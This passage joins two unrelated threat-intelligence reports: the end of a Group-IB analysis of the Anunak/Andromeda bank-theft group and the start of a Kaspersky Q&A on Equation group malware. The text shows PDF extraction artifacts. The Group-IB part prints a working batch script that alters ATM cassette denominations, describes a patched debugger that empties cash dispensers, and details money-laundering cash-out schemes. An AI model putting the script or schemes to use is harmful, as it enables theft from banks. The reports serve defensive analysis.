The malicious script contains the following commands: Contents of the file 1.bat rEG aDD HkEY_local_MacHINE\sofTWarE\ Wincor Nixdorf\ProTopas\currentVersion\lYNX- Par\casH_DIsPENsEr /v ValUE_1 /t rEG_sZ /d 5000 /f rEG aDD HkEY_local_MacHINE\sofTWarE\ Wincor Nixdorf\ProTopas\currentVersion\lYNX- Par\casH_DIsPENsEr /v ValUE_2 /t rEG_sZ /d 1000 /f rEG aDD HkEY_local_MacHINE\sofTWarE\ Wincor Nixdorf\ProTopas\currentVersion\lYNX- Par\casH_DIsPENsEr /v ValUE_3 /t rEG_sZ /d 500 /f rEG aDD HkEY_local_MacHINE\sofTWarE\ Wincor Nixdorf\ProTopas\currentVersion\lYNX- Par\casH_DIsPENsEr /v ValUE_4 /t rEG_sZ /d 100 /f rEG aDD HkEY_local_MacHINE\sofTWarE\ Wincor Nixdorf\ProTopas\currentVersion\lYNX- Par\casH_DIsPENsEr /v ValUE_1 /t rEG_sZ /d 100 /f rEG aDD HkEY_local_MacHINE\sofTWarE\ Wincor Nixdorf\ProTopas\currentVersion\lYNX- Par\casH_DIsPENsEr /v ValUE_4 /t rEG_sZ /d 5000 /f shutdown -r -t 0 f Figure.
Service program KDIAG32 for Wincor ATMs 9 Execution of this file changed registry keys in the registry branch HKEY_LOCAL_MACHINE\ SOFTWARE\Wincor Nixdorf\ProTopas\Current- Version\LYNXPAR\CASH_DISPENSER that are responsible for cassette denominations in an ATM.
As a result of this file execution the registry key that is in charge of the cassette number 1 (VALUE_1) is takes the value 100, and the registry key respon- sible for the cassette number 4 (VALUE_4) is set to 5000.
Then the command to restart the computer is issued.
The registry key reference values: registry key name Value ValUE_1 5000 ValUE_2 1000 ValUE_3 500 ValUE_4 100 If the ATM actual load corresponds to the refer- ence one and registry keys have been changed, then the banknotes from the cassette No.1 will be issued with denomination 5000 instead of 100.
w i t h d r awa l  o f  a l l  c a s h f r o m  d i s p e n s e r In addition, the attackers used a modified debug program that allows by the command to issue mon- ey from the dispenser.
The original debug program issues money through the dispenser only when the open ATM housing and the vault door are fixed.
In order to ensure money issuance from the closed ATM the attackers had to modify the original program KDIAG32 (the original file: size of 1,128,960 MD5 4CC1A6E049942EB- DA395244C74179EFF).
file Name size, bytes MD5 hash a0064575.
exe 1 128 960 49c708aaD19596cc a380fD02aB036EB2 A comparison of the original version of the pro- gram with the modified version showed that the only difference is in ignoring error Door not opened or missing.
The figure below shows an error message that will be never displayed to the user in the file under investigation.
AnDromeDA usAge All traces found during investigation of one incident showed that the same criminal group had worked.
Ammy Admin was used for remote access, the same Figure.
Hidden window in the original program KDIAG32 10 SSHD backdoor was installed on Unix servers and, In addi- tion, it was loaded from the same hacked server as in other cases of trojan Anunak usage.
However, in this case Androm- eda is used as the main trojan instead of Anunak.
The man- agement servers were located in Kazakhstan, Germany and Ukraine.
Check of the manage- ment servers showed that it was the hosting Bulletproof that, in addition to servers, provides a service of traffic proxying through its infrastructure as well as TOR and VPN usage, so this pattern is significantly differs from the Anunak host- ing patern.
Check of money cashout showed that the same cashout criminal group had worked as for Anunak and this fact again confirmed their cooperation.
Obtained Andromeda trojan copies were being distributed from August 2014 by e-mail.
The value 754037e7be8f61cbb1b85ab46c7da77d, which is the MD5 hash of the string go fuck yourself, was used as the RC4 encryption key.
As a result of this distri- bution from August to late October the Andromeda botnet rose up to 260,000 bots.
Successful infection in one subnet resulted in sending such letters to other bank employees.
Example of forwarding from an infected bank network to employees of another bank is shown below.
As a result of this radial mailing many oil and gas companies, banks and government agencies were in- fected.
In Russia at least 15 banks and two payment systems were infected this way.
Letters with similar attachments were being dis- tributed with the following subjects: My new photo Alert Transactions Report by users from 2014- 09-28 to 2014-09-28 cAshouT schemAs Previously, it should be noted the fact that the process of stolen money withdrawal (cashout) was differed, firstly by the theft method, secondly by the victim type (a bank or a payment system), thirdly by the total stolen sum.
The victims by their type were divided rather by counterparty types and by limitations imposed by operation with the counterparties.
For example, all payments were required to go through a certain pool of mediators.
In addition, the improper pool of counterparties could cause suspicion and unneces- sary testing (manual processing of payment orders).
Bank (amounts up to 100 million roubles): When the attackers had obtained control of a bank operator workstation (attacker purpose), they in general used a classic tree scheme when funds from the bank account were sent to several legal entities, then from each legal entity to smaller legal entities (may be several such iter- ations) and then to private person credit cards (from 600 to 7000 transactions).
When the attackers had obtained control of ATM management service (attacker purpose), money were withdrawn directly from the ATM by the at- tacker command.
In this case the whole cashout process consisted in that a drop person had to be near the ATM at the specified time with a bag to empty the dispenser.
Bank (amounts from 100 million roubles): Money was sent to accounts of other banks, and cracked banks were often used where accounts and credit cards had been prepared in advance.
Payment system: In addition to all the above methods, cash sending channels were also employed through the settlements systems, electronic wallets and payment systems, such as web money, Yandex 11 Money, QIWI (1500-2000 transactions).
Reve- nues of large amounts (up to 50 million roubles) were recorded to particular cards of private per- sons who then used these cards to buy expensive small-sized goods such as jewelry, watches, and other attributes.
A huge part of the money was sent through mobile operators (1500-2000 SIM cards prepared in advance).
In spring 2014 (high time of this fraud type) 2 cashout person groups were known who support- ed target attacks, by autumn 2014 their number increased to 5.
In general, this increase was due to number of thefts too (number of victims average stolen sum per 1 victim).
The groups are working in different cities to ensure better cashout distribution.
Also these groups include immigrants from former Soviet republics who if necessary arrive in the required city.
Each group was monitored by a separate person.
Each group consists of about 15-20 people.
Part of the money was transferred to Ukraine and Belarus.
mAlwAre sAmPles a n u n a k MD5 file name cc domain cc IP D1DE522652E129c37759158c14D48795 ntxobj.exe blizko.net 31.131.17.125 c687867E2c92448992c0fD00a2468752 ntxobj.exe blizko.org 31.131.17.125 a1979aa159E0c54212122fD8acB24383 spoolsv.exe update-java.net 146.185.220.200 0aD4892EaD67E65Ec3DD4c978fcE7D92 ZwGukEMphiZgNT.com great-codes.com 188.138.16.214 mind-finder.com 188.138.16.214 cc294f8727aDDc5D363BB23E10BE4af2 svchost.exe adguard.name 5.199.169.188 cc294f8727aDDc5D363BB23E10BE4af2 d.exe adguard.name 146.185.220.97 cc294f8727aDDc5D363BB23E10BE4af2 a0050236.exe adguard.name 5.199.169.188 ac5D3fc9Da12255759a4a7E4EB3D63E7 svchost.exe adguard.name 5.199.169.188 comixed.org 91.194.254.90 traider-pro.com 91.194.254.94 5.1.83.133 216.170.117.88 10.74.5.100 fc6D9f538cDaE19c8c3c662E890af979 Dc1.exe public-dns.us 37.235.54.48 fc6D9f538cDaE19c8c3c662E890af979 Dc1.exe public-dns.us 146.185.220.200 fc6D9f538cDaE19c8c3c662E890af979 Dc1.exe freemsk-dns.com 146.185.220.200 3dc8c4af51c8c367fbe7c7feef4f6744 185.10.56.59 3e90bf845922cf1bf5305e6fdcc14e46 worldnewsonline.pw 5.101.146.184 1f80a57a3b99eeb8016339991a27593f coNTracT.doc financialnewsonline.pw 185.10.58.175 b63af72039e4fb2acd0440b03268b404 QWcQawoI.exe great-codes.com 188.138.16.214 mind-finder.com 188.138.16.214 veslike.com 65.19.141.199 publics-dns.com 91.194.254.94 09c8631c2ba74a92defb31040fe2c45a QWcQawoI.exe coral-trevel.com 87.98.153.34 9d718e86cacffa39edafbf9c1ebc9754 oplata.scr paradise-plaza.com 91.194.254.93 12 m i m i k at z MD5 file name 5D1aE2391DfB02E573331B3946f0c314 mimi.exe 8DD78371B2D178fB8c8a9B1012D7E985 m86.exe 8646E3D8ffffE854D5f9145c0aB413f6 00019114 E464D4804D36fDDf0287877D66D5037a 00030724 DE9f4cBB90c994522553aB40ac2D5409 00032800 E9fc0f53c7c0223DE20f1776c53D3673 a0049585.exe a4B053D9Ec7D5EDB207c208BfBE396Ec a0050233.dll 86BD7f72a495a22B22070c068B591Df8 a0050235.sys 2B817BD8195Dc7f56500f38a0c740cEf m.exe a n d r o m e d a MD5 file name cc domain cc IP 4cf26f8E2f6864c4a8aaa7f92E54E801 001.
photo.exe ddnservice10.ru/and/jopagate.php ddnservice11.ru/and/jopagate.php 144.76.215.219 m b r _ e r a s e r MD5 file name 934E1055B171Df0D3E28BE9831EB7770 MBr_Eraser.exe e m a i l  at ta c h m e n t s MD5 file name cc domain 8fa296Efaf87ff4D9179283D42372c52  -115  24.06.2014.doc_ cVE-2012-2539 aa36Ba9f4DE5892f1DD427B7B2100B06 .doc.cpl (partner details.doc.cpl) cVE-2012-0158, cVE-2012-2539 4cf26f8E2f6864c4a8aaa7f92E54E801 001.
photo.exe 17984EB3926Bf99f0ccB367f4fBa12E3     .doc (about changes of electronic interaction rules.doc) cVE-2012-0158 94666Bca3fE81831a23f60c407840408 - .doc (about peculiarities of organizing and conducting inspections of credit institutions.doc) cVE-2012-0158 13 AT TAcks in euroPe AnD usA While the attacks in Russia against banks and payment systems have occurred over the past two years, the attacks against the retail industry is only something which started in the second quarter of 2014.
With at least three confirmed breaches where card track data was obtainedand a total of at least 16 breaches at retail organizations, it is also becoming a serious threat.
Apart from retail organizations it is also known that a number of media and PR companies have been breached in 2014.
While it is not entirely cer- tain, the type of breaches suggest that the attackers are looking for inside information, a type of indus- trial espionage, allowing them to gain an advantage on the stock market.
As there is nothing specifically missing and the resulting fraud is hard to match with anything, these incidents typically are never linked.
retail Media/Pr/ Marketing Usa 12 3 australia 2 0 spain 1 0 Italy 1 0 Table: Overview of compromises per region and sector.
i n f e c t i o n  m e t h o d s From the retail perspective, the first infections in 2014 were sourced from a botnet which employs a widely deployed crypto-currency mining malware based on the Gozi/ISFB (banking) malware family.
Based on our insights we believe during the first half of 2014 over half a million systems had been compromised by this malware from over the whole world, however Russia and a number of post-Soviet states were clean of infections.
To find interesting infections within this large set of compromised systems, the malware extracts relevant information from the systems including Microsoft Windows organization registration information and network/ Windows domain information.
The Gozi/ISFB based malware was used to drop additional components on interesting systems, which included Metasploit/Meterpreter payloads and Anunak variants.
This was one of the main methods for the group using Anunak to obtain in- teresting infections in the middle of 2014, sourcing infections from other botnet operators.
More recent- ly other infection methods, including spear phishing using English language and possibly also usage of the teams own Andromeda, but also SQL injection to breach an organization directly from the outside, has been employed by this team.
p o s  c o m p r o m i s e s The first known attacks with Anunak targeted a specific brand of POS systems which revolved around the Epicor/NSB brand.
To do this Anunak has specific code to target POS devices equipped with this software, which in contrary to the more common memory scanning track data scrapers, logs a wealth of information from the payments done by the cards.
The first case this was seen active was in July 2014, but it might have been earlier as well.
More recent breaches have used a new custom developed POS malware, which is a more simple but reliable track data memory scraper.
The initial version from the early fall of 2014 used a simple blacklist, scraped every process and dumped track data in plain text.
More recent versions scanned only configuration specified processes and used RC4 to encrypt the extracted track data records on disk.
a d d i t i o n a l  ta r g e t s While the retail industry is one of its main targets due to its payment processing capabilities, other compromises might occur indirectly, for example to obtain databases with information or other informa- tion that is of value to the organized criminal group.
One of the possibilities is obtaining lists of corporate email addresses to have a higher chance of interest- ing infections.
At this moment we have no evidence of successful compromise or theft of banks and payment systems outside of Russia, but several infections in the east of Europe (specifically Ukraine and Latvia) were active in 2014.
These specific infections were related to infrastructure of organizations based in Russia or with significant interests in Russia, thus more likely related to the breaches at the same organization in Russia.
The majority of infections from Europe were from dedicated servers used as exit node for VPN services, 14 the systems infected were likely from Eastern Euro- pean or Russian origin, and possibly test infections from the attackers.
We have no evidence of compro- mises against banks in Western Europe or United States, but it should be noted that the attackers methods could be utilized against banks outside of Russia as well.
m e t h o d s  o f  l at e r a l  m o v e m e n t a n d  p e r s i s t e n c e The group uses Metasploit as one of their main hacking tools, either stand alone or as part of a framework.
The activity includes port scanning and system reconnaissance, escalating privileges on systems by using for example the recent CVE-2014- 4113 vulnerability, gathering credentials and hop- ping on to other systems and networks.
Metasploit is being used to its full potential with scanning, exploiting, privilege escalation and post exploitation persistence being achieved with its standard toolset.
On interesting and critical systems typical hack- ing tools might be found to establish tunnels out of the network, either tools that are part of the Metasploit framework such as Meterpreter, but also other tools to achieve persistence on those systems.
The connect back methods seen are typically SSL over port 443, but also DNS based methods were observed.
The attackers use BITS to download files, but also make use of Windows built-in PowerShell to download tools and execute commands.
Finally on the critical systems freshly crypted and non-detected versions of Anunak are deployed, typically these are used in very limited deployments thus their spread is limited and detection by Anti-Virus is very rare.
Various stealth methods including the aforemen- tioned backconnect SSL and DNS tunneling for compromise persistence and data exfiltration are used.
The Anunak malware has multiple ways of connecting to backends, which includes a PHP based backend reachable over HTTP and HTTPS, and a Windows server based component using a propri- etary protocol.
The use of VNC scanning and password brute forcing, the adding of additional administrator accounts, use of RDP Wrapper to allow concurrent RDP sessions are all methods to gain access and achieve persistent access to compromised systems employed by this group.
Additionally various ways of creating incidental and regular screen captures of the desktop of persons of interest within com- promised organizations were methods employed by these attackers.
This also includes video captures made by the Anunak malware, allowing attackers to observe the behavior of users of certain applications.
AbouT us g r o u p - i b Group-IB is one of the leading international companies specializing in preventing and investigat- ing high-tech cyber crimes and fraud.
The company offers a range of services on preventing financial and reputational damages, consulting and auditing of information security systems, and on computer forensics.
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They are internationally certified by CISSP, CISA, CISM, CEH, CWSP, GCFA and also have information security state certificates.
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Version: 1.5 February 2015 EquationAPT TheSAS2015 EQUATION GROUP: QUESTIONS AND ANSWERS https://twitter.com/hashtag/equationapt http://sas.kaspersky.com/ 2 TLP: White For any inquiries, please contact intelreportskaspersky.com Table of contents 1.
What is the Equation group?
..........................................................................
3 2.
Why do you call them the Equation group?
................................................
3 3.
What attack tools and malware does theEquation group use?
..................
4 4.
What is DOUBLEFANTASY?.............................................................................6 5.
What is EQUATIONDRUG?
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8 6.
What is GRAYFISH?
.........................................................................................
9 7.
What is Fanny?
.............................................................................................
12 8.
What exploits does the Equation groupuse?
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14 9.
How do victims get infected by EQUATION group malware?
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15 10.
What is the most sophisticated thing about the EQUATION group?
.........
16 11.
Have you observed any artifacts indicating who is behind theEQUATIONgroup?
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19 12.
How many victims are there?
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20 13.
Have you seen any non-Windows malware from the Equation group?
.....
22 14.
What CC infrastructure do the Equation group implants use?
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23 15.
How do victims get selected for infection by the EQUATION group?
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23 16.
What kind of encryption algorithms areused by the EQUATION group?
...
27 17.
How does the EQUATION groups attack platforms compare with Regin?
...................................................................................
30 18.
How did you discover this malware?
..........................................................
31 Indicators of compromise (one of each) ......................................................... 32 mailto:intelreports40kaspersky.com?subject 3 TLP: White For any inquiries, please contact intelreportskaspersky.com 1.
What is the Equation group?
The Equation group is a highly sophisticated threat actor that has been engagedin multiple CNE (computer network exploitation) operations dating back to 2001, and perhaps as early as 1996.
The Equation group uses multiple malware platforms, some of which surpass the well-known Regin threat in complexity and sophistication.
The Equation group is probably one of the most sophisticated cyber attack groups in the world and they are the most advanced threat actor we have seen.
2.
Why do you call them the Equation group?
We call this threat actor the Equation group because of their love for encryption algorithms and obfuscation strategies and the sophisticated methods used throughout their operations.
In general, the Equation group uses a specific implementation of the RC5 encryption algorithm throughout their malware.
Some of the most recent modules use RC6, RC4 and AES too, in addition to other cryptographic functions and hashes.
One technique in particular caught our attention and reminded us of another complex malware, Gauss.
The GrayFish loader uses SHA-256 one thousand times over the unique NTFS object ID of the victims Windows folder to decrypt the next stage from the registry.
This uniquely ties the infection to the specific machine, and means the payload cannot be decrypted without knowing the NTFS object ID.
mailto:intelreports40kaspersky.com?subject 4 TLP: White For any inquiries, please contact intelreportskaspersky.com 3.
What attack tools and malware does theEquation group use?
So far, weve identified several malware platforms used exclusively by the Equation group.
They are: EQUATIONDRUG  A very complex attack platform used by the group on its victims.
It supports a module plugin system, which can be dynamically uploaded and unloaded by the attackers.
DOUBLEFANTASY  A validator-style Trojan, designed to confirm the target is the intended one.
If the target is confirmed, they get upgraded to a more sophisticated platform such as EQUATIONDRUG or GRAYFISH.
EQUESTRE  Same as EQUATIONDRUG.
TRIPLEFANTASY  Full-featured backdoor sometimes used in tandem with GRAYFISH.
Looks like an upgrade of DOUBLEFANTASY, and is possibly a more recent validator-style plugin.
GRAYFISH  The most sophisticated attack platform from the EQUATION group.
It resides completely in the registry, relying on a bootkit to gain execution at OS startup.
FANNY  A computer worm created in 2008 and used to gather information about targets in the Middle East and Asia.
Some victims appear to have been upgraded first to DoubleFantasy, and then to the EQUATIONDRUG system.
Fanny used exploits for two zero-day vulnerabilities which were later discovered with Stuxnet.
EQUATIONLASER  An early implant from the EQUATION group, used around 2001-2004.
Compatible with Windows 95/98, and created sometime between DOUBLEFANTASY and EQUATIONDRUG.
5 TLP: White For any inquiries, please contact intelreportskaspersky.com 6 TLP: White For any inquiries, please contact intelreportskaspersky.com 4.
What is DOUBLEFANTASY?
The Equation group uses an implant known as DoubleFantasy (the internal Kaspersky Lab name) for the validation of their victims.
The implant serves twopurposes: to confirm if the victim is interesting If so, the victim is upgraded totheEquationDrug or GrayFish platforms to keep a backdoor into a potentially interesting targets computer DoubleFantasy keeps an internal version number in its configuration block, together with other data such as legitimate hosts used to validate the internet connection (e.g.
: microsoft.com, yahoo.com) and CCs.
Decrypted DoubleFantasy configuration block In the configuration block above, one can easily spot the internal version 8.2.0.6.
Decrypting configuration blocks from all known DoubleFantasy samples, we obtained the following internal version numbers: 8.1.0.4 008.002.000.006 008.002.001.001 008.002.001.004 008.002.001.04A (subversion IMIL3.4.0-IMB1.8.0) 008.002.002.000 008.002.003.000 008.002.005.000 008.002.006.000 microsoft.com yahoo.com 7 TLP: White For any inquiries, please contact intelreportskaspersky.com 011.000.001.001 012.001.000.000 012.001.001.000 012.002.000.001 012.003.001.000 012.003.004.000 012.003.004.001 013.000.000.000 Interestingly, the most popular versions are 8 and 12: Considering the latest version of DoubleFantasy is 13 and we have only identified 4 major versions, we are probably seeing only a small part of the groups activity.
8 TLP: White For any inquiries, please contact intelreportskaspersky.com 5.
What is EQUATIONDRUG?
EQUATIONDRUG is one of the groups most complex espionage platforms.
The platform was developed between 2003 and 2013 and subsequently replaced by GrayFish.
It appears to have been created as an upgrade from theEQUATIONLASER platform.
A victim doesnt immediately get infected with EQUATIONDRUG.
First, the attackers infect them with DOUBLEFANTASY, which is a validator-style plugin.
If the victim is confirmed as interesting to the attackers, the EQUATIONDRUG installer is delivered.
By default, a core set of modules is installed onto the targets computer together with EQUATIONDRUG, giving attackers full control over the operating system.
In cases where the basic features of the malware are not enough, EquationDrug supports the addition of new plugins to extend its functionality.
We found 35 different plugins for EquationDrug and 18 drivers.
9 TLP: White For any inquiries, please contact intelreportskaspersky.com EquationDrugs core modules, designed for hooking deep into the OS, do not contain a trusted digital signature and cannot be run directly on modern operating systems.
The code checks whether the OS version predates Windows XP/2003.
Some of the plugins were designed originally for use on Windows 95/98/ME.
If the target is using a modern operating system such as Windows 7, the attackers use the TripleFantasy or GrayFish platforms.
EquationDrug has an integrated countdown timer, presumably designed to self- destruct if commands are not received from the CC for a period of time (several months).
The information stolen from the PC and prepared for transmission to the CC is stored in encrypted form throughout several fake font files (.FON) inside the Windows\Fonts folder on the victims computer.
6.
What is GRAYFISH?
GRAYFISH is the most modern and sophisticated malware implant from theEquation group.
It is designed to provide an effective (almost invisible) persistence mechanism, hidden storage and malicious command execution inside the Windows operating system.
By all indications, GrayFish was developed between 2008 and 2013 and is compatible with all modern versions of Microsofts operating systems, including Windows NT 4.0, Windows 2000, Windows XP, Windows Vista, Windows 7 and 8 both 32-bit and 64-bit versions.
10 TLP: White For any inquiries, please contact intelreportskaspersky.com GrayFish includes a highly sophisticated bootkit, which is more complex than any weve seen before.
This suggests developers of the highest caliber are behind its creation.
When the computer starts, GrayFish hijacks the OS loading mechanisms by injecting its code into the boot record.
This allows it to control the launching of Windows at each stage.
In fact, after infection, the computer is not run by itself more: it is GrayFish that runs it step by step, making the necessary changes on the fly.
After GrayFish starts Windows, it launches a multi-stage mechanism (four to five stages) of decryption to achieve code execution within the Windows environment.
It then runs the functional modules that are stored inside the Windows registry.
Each stage decodes and executes the next, and the entire platform will only start after successful execution of all levels.
If an error happens during launch, the entire GrayFish platform self-destructs.
11 TLP: White For any inquiries, please contact intelreportskaspersky.com The GrayFish bootloader mechanism 12 TLP: White For any inquiries, please contact intelreportskaspersky.com To store stolen information, as well as its own auxiliary information, GrayFish implements its own encrypted Virtual File System (VFS) inside the Windows registry.
To bypass modern OS security mechanisms that block the execution of untrusted code in kernel mode, GrayFish exploits several legitimate drivers, including one from the CloneCD program.
This driver (ElbyCDIO.sys) contains a vulnerability which GrayFish exploits to achieve kernel-level code execution.
Despite the fact that the vulnerability was discovered in 2009, the digital signature has not yet been revoked.
The GrayFish implementation appears to have been designed to make it invisible to antivirus products.
When used together with the bootkit, all the modules as well as the stolen data are stored in encrypted form in the registry and dynamically decrypted and executed.
There are no malicious executable modules at all on thefilesystem of an infected system.
An interesting observation: the first stage GRAYFISH loader computes the SHA-256 hash of the NTFS of system folder (Windows or System) Object_ID one thousand times.
The result is used as an AES decryption key for the next stage.
This is somewhat similar to Gauss, which computed the MD5 hash over the name of its target folder 10,000 times and used the result as the decryption key.
7.
What is Fanny?
Fanny is a computer worm created by the Equation group in 2008 and distributed throughout the Middle East and Asia.
Fanny used two zero-day exploits, which were later uncovered during the discovery of Stuxnet.
To spread, it used the Stuxnet LNK exploit and USB sticks.
For escalation of privilege, Fanny used a vulnerability patched by the Microsoft bulletin MS09-025, which from 2009 was also used in one of the early versions of Stuxnet.
LNK exploit as used by Fanny ElbyCDIO.sys http://www.securitylab.ru/lab/PT-2009-11 13 TLP: White For any inquiries, please contact intelreportskaspersky.com Its important to point out that these two exploits were used in Fanny before they were integrated into Stuxnet, indicating the EQUATION group had access to these zero-days before the Stuxnet group.
Actually, the similar type of usage of both exploits together in different computer worms, at around the same time, indicates that the EQUATION group and the Stuxnet developers are either the same or working closely together.
Fanny malware diagram The main purpose of Fanny appears to have been the mapping of air-gapped networks.
For this, it used a unique USB-based command and control mechanism.
When a USB stick is infected, Fanny creates a hidden storage area on the stick.
If it infects a computer without an internet connection, it will collect basic system information and save it onto the hidden area of the stick.
Later, when a stick containing hidden information is plugged into an internet-connected computer infected by Fanny, the data will be scooped up from the hidden area and sent to the CC.
If the attackers want to run commands on the air-gapped networks, they can save these commands in the hidden area of the USB stick.
When the stick is plugged into the air-gapped computer, Fanny will recognize the commands and 14 TLP: White For any inquiries, please contact intelreportskaspersky.com execute them.
This effectively allowed the Equation group to run commands inside air-gapped networks through the use of infected USB sticks, and also map the infrastructure of such networks.
The Fanny CC server is currently sinkholed by Kaspersky Lab.
The victims map looks as follows: 2014-2015 Fanny sinkhole statistics 8.
What exploits does the Equation groupuse?
We observed the following exploits used by the Equation group in their malware: Windows Kernel EoP exploit used in Stuxnet 2009 (atempsvc.ocx), fixedwithMS09-025.
(
CVE unknown).
TTF exploit fixed with MS12-034 (possibly CVE-2012-0159).
TTF exploit fixed with MS13-081 (possibly CVE-2013-3894).
LNK vulnerability as used by Stuxnet.
(
CVE-2010-2568).
CVE-2013-3918 (Internet Explorer).
atempsvc.ocx 15 TLP: White For any inquiries, please contact intelreportskaspersky.com CVE-2012-1723 (Java).
CVE-2012-4681 (Java).
At least four of these were used as zero-days by the EQUATION group.
In addition to these, we observed the use of unknown exploits, possibly zero-day, against Firefox 17, as used in the TOR Browser.
An interesting case is the use of CVE-2013-3918, which was originally used bythe APTgroup behind the 2009 Aurora attack.
The EQUATION group captured their exploit and repurposed it to target government users in Afghanistan.
9.
How do victims get infected by EQUATION group malware?
The Equation group relies on multiple techniques to infect their victims.
These include: Self-replicating (worm) code  Fanny Physical media, CD-ROMs USB sticks  exploits Web-based exploits The attacks that use physical media (CD-ROMs) are particularly interesting because they indicate the use of a technique known as interdiction, where theattackers intercept shipped goods and replace them with Trojanized versions.
One such incident involved targeting participants at a scientific conference inHouston.
Upon returning home, some of the participants received by mail a copy of the conference proceedings, together with a slideshow including various conference materials.
The compromised CD-ROM used autorun.inf to execute an installer that began by attempting to escalate privileges using two known EQUATION group exploits.
Next, it attempted to run the groups DOUBLEFANTASY implant and install it onto the victims machine.
The exact method by which these CDs were interdicted is unknown.
We do not believe the conference organizers did this on purpose.
At the same time, the super-rare DOUBLEFANTASY malware, together with its installer with two zero-day exploits, dont end up on a CD by accident.
Another example is a Trojanized Oracle installation CD that contains anEQUATIONLASER Trojan dropper alongside the Oracle installer.
autorun.inf 16 TLP: White For any inquiries, please contact intelreportskaspersky.com Heres a look at a typical infection cycle: Infection lifecycle: from web exploit to EquationDrug and GrayFish 10.
What is the most sophisticated thing about the EQUATION group?
Although the implementation of their malware systems is incredibly complex, surpassing even Regin in sophistication, there is one aspect of the EQUATION groups attack technologies that exceeds anything we have ever seen before.
This is the ability to infect the hard drive firmware.
We were able to recover two HDD firmware reprogramming modules from the EQUATIONDRUG and GRAYFISH platforms.
The EQUATIONDRUG HDD firmware reprogramming module has version 3.0.1 while the GRAYFISH reprogramming module has version 4.2.0.
These were compiled in 2010 and 2013, respectively, if we are to trust the PE timestamps.
17 TLP: White For any inquiries, please contact intelreportskaspersky.com The EQUATION group HDD firmware reprogramming plugin has the internal ID80AA, which is a unique number in the groups plugin ID table.
This allows other plugins to identify and use it as required.
Both 32- and 64-bit versions ofthe plugin were found.
The plugin supports two main functions: reprogramming the HDD firmware with a custom payload from the EQUATION group, and providing an API into aset of hidden sectors (or data storage) of the hard drive.
This achieves several important things: Extreme persistence that survives disk formatting and OS reinstall.
An invisible, persistent storage hidden inside the hard drive.
The plugin version 3 has the ability to reprogram six drive categories: Maxtor, MaxtorSTM ST, MaxtorSTM, Seagate Technology WDCWD, Western Digital Technologies, Inc SAMSUNG, SAMSUNG ELECTRONICS CO.
LTD WDCWD, Western Digital Technologies, Inc additional vendor specific checks used (spawns two subclasses) Seagate Technology The plugin version 4 is more complex and can reprogram 12 drive categories.
Plugin version 4 infection capabilities table 18 TLP: White For any inquiries, please contact intelreportskaspersky.com The classes supported are: WDCWD, Western Digital Technologies Inc additional vendor specific checks used ST, MaxtorSTM, SEAGATEST, Seagate Technology SAMSUNG, SAMSUNG ELECTRONICS CO.,
LTD.
WDCWD, Western Digital Technologies, Inc. additional vendor specific checks used HGST a Western Digital Company, IC, IBM, Hitachi, HTS, HTE, HDS, HDT, ExcelStor Max, MaxtorSTM MICRON TECHNOLOGY, INC.,
C300, M4 HGST a Western Digital Company, TOSHIBA CORPORATION OCZ, OWC, Corsair, Mushkin additional vendor specific checks used Samsung Electronics Co., Ltd., Storage System Division, Seagate Technology, SAMSUNG ELECTRONICS CO.,
LTD.
additional checks TOSHIBA CORPORATION COMPUTER DIVISION, TOSHIBAM checks Seagate Technology, ST The main function to reflash the HDD firmware receives an external payload, which can be compressed by LZMA.
The disk is targeted by a specific serial number and reprogrammed by a series of ATA commands.
For example, in the case of Seagate drives, we see a chain of commands: FLUSH CACHE (E7) DOWNLOAD MICROCODE (92)  IDENTIFY DEVICE (EC)  WRITE LOG EXT (3F).
Depending on the reflashing request, there might be some unclear data manipulations written to the drive using WRITE LOG EXT (3F).
For WD drives, there is a sub-routine searching for ARM NOP opcodes in read data, and then used further in following writes.
Overall, the plugin uses a lot of undocumented, vendor-specific ATA commands, for the drives mentioned above as well as all the others.
The EQUATION groups HDD firmware reprogramming module is extremely rare.
During our research, weve only identified a few victims who were targeted by this module.
This indicates that it is probably only kept for the most valuable victims or for some very unusual circumstances.
19 TLP: White For any inquiries, please contact intelreportskaspersky.com 11.
Have you observed any artifacts indicating who is behind theEQUATIONgroup?
With threat actor groups as skilled as the Equation team, mistakes are rare.
Nevertheless, they do happen.
Some of the keywords forgotten in the modules that we analyzed include: SKYHOOKCHOW prkMtx  unique mutex used by the Equation groups exploitation library (PrivLib) SF  as in SFInstall, SFConfig UR, URInstall  Performing UR-specific post-install... implant  from Timeout waiting for the canInstallNow event from the implant-specific EXE STEALTHFIGHTER (VTT/82055898/STEALTHFIGHTER/2008-10-16/14:59:06.229-04:00) DRINKPARSLEY (Manual/DRINKPARSLEY/2008-09-30/10:06:46.468-04:00) STRAITACID (VTT/82053737/STRAITACID/2008-09-03/10:44:56.361-04:00) LUTEUSOBSTOS (VTT/82051410/LUTEUSOBSTOS/2008-07-30/17:27:23.715-04:00) STRAITSHOOTER STRAITSHOOTER30.exe DESERTWINTER c:\desert2\desert3\objfre_w2K_x86\i386\DesertWinterDriver.pdb GROK  standalonegrok_2.1.1.1 RMGREE5  c:\users\rmgree5\... 20 TLP: White For any inquiries, please contact intelreportskaspersky.com Interestingly, the VTT strings above appear to contain a timestamp and an infection counter.
Between four events  10 October 2008, 30th of July 2008, 3rd of September 2008 and 30 of September 2008  we count an average of 2000 infections per month, if the serial number increases linearly.
This could indicate that the EQUATION group hits about 2000 users per month, although itspossible some uninteresting victims may be disinfected.
Note:  The codename GROK appears in several documents published by Der Spiegel, where a keylogger is mentioned.
Our analysis indicates EQUATIONGROUPs GROK plugin is indeed a keylogger on steroids that can perform many other functions.
12.
How many victims are there?
The victims of the Equation group were observed in more than 30 countries, including Iran, Russia, Syria, Afghanistan, Kazakhstan, Belgium, Somalia, HongKong, Libya, United Arab Emirates, Iraq, Nigeria, Ecuador, Mexico, Malaysia, United States, Sudan, Lebanon, Palestine, France, Germany, Singapore, Qatar, Pakistan, Yemen, Mali, Switzerland, Bangladesh, SouthAfrica, Philippines, United Kingdom, India and Brazil.
http://www.itnews.com.au/News/374987,nsa-spreads-malware-on-an-industrial-scale.aspx 21 TLP: White For any inquiries, please contact intelreportskaspersky.com Victims generally fall into the following categories: Governments and diplomatic institutions Telecommunication Aerospace Energy Nuclear research Oil and gas Military Nanotechnology Islamic activists and scholars Mass media Transportation Financial institutions Companies developing cryptographic technologies Combining statistics from KSN and our sinkhole, we counted more than 500victims worldwide.
A lot of infections have been observed on servers, often domain controllers, data warehouses, website hosting and other types of servers.
At the same time, the infections have a self-destruct mechanism, so we can assume there were probably tens of thousands of infections around the world throughout the history of the Equation groups operations.
As an interesting note, some of the patients zero of Stuxnet seem to have been infected by the EQUATION group.
It is quite possible that the EQUATION group malware was used to deliver the STUXNET payload.
